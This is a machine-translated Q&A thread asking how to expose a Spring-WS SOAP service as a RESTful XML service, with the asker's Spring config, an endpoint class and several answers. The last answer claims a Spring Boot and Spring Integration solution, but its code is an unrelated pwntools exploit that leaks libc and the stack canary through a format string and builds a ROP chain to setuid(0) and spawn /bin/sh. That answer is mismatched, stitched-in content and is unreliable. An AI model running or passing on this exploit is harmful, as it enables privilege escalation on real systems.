有没有办法将我的SOAP Web服务(spring-ws,java)虚拟地用作基于XML的RESTful服务?
我不想在Java中从头开始将整个SOAP Web服务重新编写成RESTful,但是我需要使用REST通过iphone访问它,他们已经拥有简单的原生支持。
XMLGateway,Proxys ..?还是一些额外的java代码?因为我的SOAP请求和响应只是一个XML文件,为什么我不能修改它以供REST服务使用?
或者不改变我的应用程序中更改任何逻辑和xml解析是否很容易添加jax-rs注释并创建一个休息请求xml?
我的配置弹簧文件是这样的:
<bean id="webServicePluginDescriptor"
class="com.mysite.ws.configuration.MyWebservicePluginDescriptor" />
<bean id="payloadMapping"
class="org.springframework.ws.server.endpoint.mapping.PayloadRootQNameEndpointMapping">
<property name="defaultEndpoint" ref="inferenceEndPoint" />
<property name="interceptors">
<list>
<ref local="validatingInterceptor" />
<ref local="payLoadInterceptor" />
</list>
</property>
</bean>
<bean id="payLoadInterceptor"
class="org.springframework.ws.server.endpoint.interceptor.PayloadLoggingInterceptor" />
<bean id="validatingInterceptor"
class="org.springframework.ws.soap.server.endpoint.interceptor.PayloadValidatingInterceptor">
<property name="schema"
value="classpath:/wsdl/Request.xsd" />
<property name="validateRequest" value="true" />
<property name="validateResponse" value="false" />
</bean>
<bean id="PropertyResource" class="com.mysite.ws.im.PropertyResource">
<property name="resource"
value="/WEB-INF/client-specific/InferenceMachine.properties" />
</bean>
<bean id="inferenceEndPoint" class="com.mysite.ws.web.InferenceEndPoint">
<property name="messageWebService" ref="messageWebService" />
</bean>
<bean id="messageWebService" class="com.mysite.ws.service.MessageWebService"
scope="request">
<aop:scoped-proxy />
<property name="inferenceService" ref="inferenceService" />
</bean>
<bean id="Request" class="org.springframework.xml.xsd.SimpleXsdSchema">
<property name="xsd" value="classpath:/wsdl/Request.xsd" />
</bean>
<bean id="Response" class="org.springframework.xml.xsd.SimpleXsdSchema">
<property name="xsd" value="classpath:/wsdl/Response.xsd" />
</bean>
<bean id="Error" class="org.springframework.xml.xsd.SimpleXsdSchema">
<property name="xsd" value="classpath:/wsdl/Error.xsd" />
</bean>
<bean id="mwsid"
class="org.springframework.ws.wsdl.wsdl11.SimpleWsdl11Definition">
<constructor-arg value="classpath:/wsdl/mtchwsdl.wsdl" />
</bean>
<bean id="inferenceService" class="com.mysite.ws.im.InferenceService"
scope="request">
<aop:scoped-proxy />
<property name="webServiceConfiguration" ref="wsPlayerConfiguration" />
<property name="properties">
<bean class="com.mysite.ws.im.PropertyResource">
<property name="resource"
value="/WEB-INF/client-specific/InferenceMachine.properties" />
</bean>
</property>
</bean>
<!-- ~~~~~~~ Application beans ~~~~~~~ -->
<bean id="wsPlayerConfiguration"
class="com.mysite.ws.configuration.WebServiceConfiguration"
scope="request">
<aop:scoped-proxy />
<property name="playerConfiguration" ref="playerConfiguration"></property>
<property name="configurationSetup" ref="configurationSetup"></property>
</bean>
这是我的端点类:
/**
* The EndPoint of the Web Service Application. This class gets the raw
* SOAP-body message from the Spring Payload Dispatcher and sends the message to
* the @see MessageService class. After it has gotten the response XML message
* it returns this back to the Spring Payload Dispatcher.
*/
public class InferenceEndPoint extends AbstractJDomPayloadEndpoint {
private MessageWebService messageWebService;
public InferenceEndPoint() {
}
@Override
protected Element invokeInternal(Element inferenceRequest) throws Exception {
Element ret = messageWebService.handleRequest(inferenceRequest);
return ret;
}
/**
* @param messageWebService
*/
public void setMessageWebService(MessageWebService messageWebService) {
this.messageWebService = messageWebService;
}
}
任何想法?
答案 0 :(得分:2)
Spring-WS只是为你的bean添加了一些注释,然后你让Spring bean完成了大部分繁重的工作。大概你有一些用@ Endpoint,@ PayloadRoot等注释的类。您应该能够以三种方式之一重复使用所有这些。
如果您的Spring-WS端点类是适配器模式样式(例如,您的Endpoint类注入了执行实际工作的POJO服务),那么您可以执行类似的适配器式Spring MVC控制器(Spring中存在REST) 3.0)。
如果您的注释直接在您的业务逻辑类上进行,那么从理论上讲,您应该能够再添加一些注释(可能看起来有点忙碌)。
如果您的Spring-WS bean是POX(而不是SOAP),那么您可以通过一些精美的URL映射来为它们提供更多具有RESTful功能的URL
要迁移到Spring 3以获得REST支持,请添加相应的@RequestMapping和其他注释,以将它们公开为REST服务以匹配特定URL。当你添加时,你也可以删除旧的@PayloadRoots和@Endpoint,但这可能不是什么大问题。当然,如果你留下旧的Spring-WS注释,你仍然需要在你的类路径上使用Spring-WS jar,但只要你没有在Spring文件中使用Spring-WS servlet或任何其他bean - 你应该没事(理论上......)。
最大的问题是:
答案 1 :(得分:2)
查看您的代码,很难说出最佳方法是什么。 REST和SOAP实际上是想象基于Web的服务接口如何工作的完全不同的方式:SOAP是关于方法调用的,而REST则是关于资源,表示和链接的。要进行转换,您必须从底层抽象API开始。
如果你的基本API是一个“我给你一个文件,你给我一个答复文档”,并没有比其他任何曝光,这是一个的非常的面向SOAP的模型。您可以通过POST文档并获得响应来在REST中对其进行建模,但它并不优雅。如果你能代替的角度来考虑你的接口“这里是一个整体资源,与我可以设置属性,以及某些操作我能做到”,然后映射到REST更加容易(整体资源被表示为一个完整的链接文件个人财产资源和运营,个别财产可以是GET和PUT - 并且可能是必要的DELETEd。你有哪种风格...好吧,它看起来很像你有第一个,但我只是猜测,因为确定它是真的需要查看你的代码而不是你所展示的。
答案 2 :(得分:1)
没有什么可以阻止你发送填充了XML的POST来获得带有XML的结果。
最简单的方法是以某种方式捕获来回的SOAP请求,并简单地将请求转换为以空白为参数的模板,然后在生成的XML上使用XPath来提取结果。< / p>
你唯一可能需要在POST中使用SOAPAction标头,但可能不是。
这真的没什么大不了的。如果你有几十种方法,那就更难了。此外,如果您正在使用SOAP的任何加密部分,那么这更令人痛苦。但是,如果只是少数,最后它只是XML,并且大部分XML都是样板,所以看那样,它非常简单。
附录:
如果你想要使用更加HTTP友好的服务来支持后端逻辑,那么JAX-RS很容易实现,但它需要在服务器端进行编码。
如果您希望使用现有的SOAP Web服务,那么请忘记等式的整个SOAP部分,并将其视为使用XML有效负载的HTTP Web服务。它仍然是SOAP,但您没有在客户端使用任何SOAP工具。您只是在客户端请求上组装XML有效负载(从模板中最简单,恕我直言),并因此消耗XML有效负载,并通过HTTP进行交易。
根据您打算调用的现有Web服务的不同方法数量,您可以了解所涉及的工作范围。这是一项简单的工作(一旦你可以轻松查看有效载荷),但它仍然有效。如果您只有一些方法,特别是如果界面稳定且不变,那么使用原始XML比学习和对抗一些新的不熟悉的框架要容易得多。
答案 3 :(得分:0)
这就是我使用Spring Boot + Spring Integration解决此问题的方式。
#!/usr/bin/env python3
from pwn import *
p = process(["./example5", "%21$p:%41$p:"])
lib = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
leak = p.readline().decode("utf-8").split(":")
libc_base = int(leak[0], 16) - 0x1f73cc
canary = int(leak[1], 16)
log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")
poprdi_ret = p64(libc_base + 0x2679e) # pop rdi; ret
padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + lib.symbols['setuid']) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + next(lib.search(b'/bin/sh'))) # /bin/sh address
code += p64(libc_base + lib.symbols['system']) # system address
code += p64(libc_base + lib.symbols['exit']) # exit address
payload = padding + code
p.sendline(payload)
p.interactive()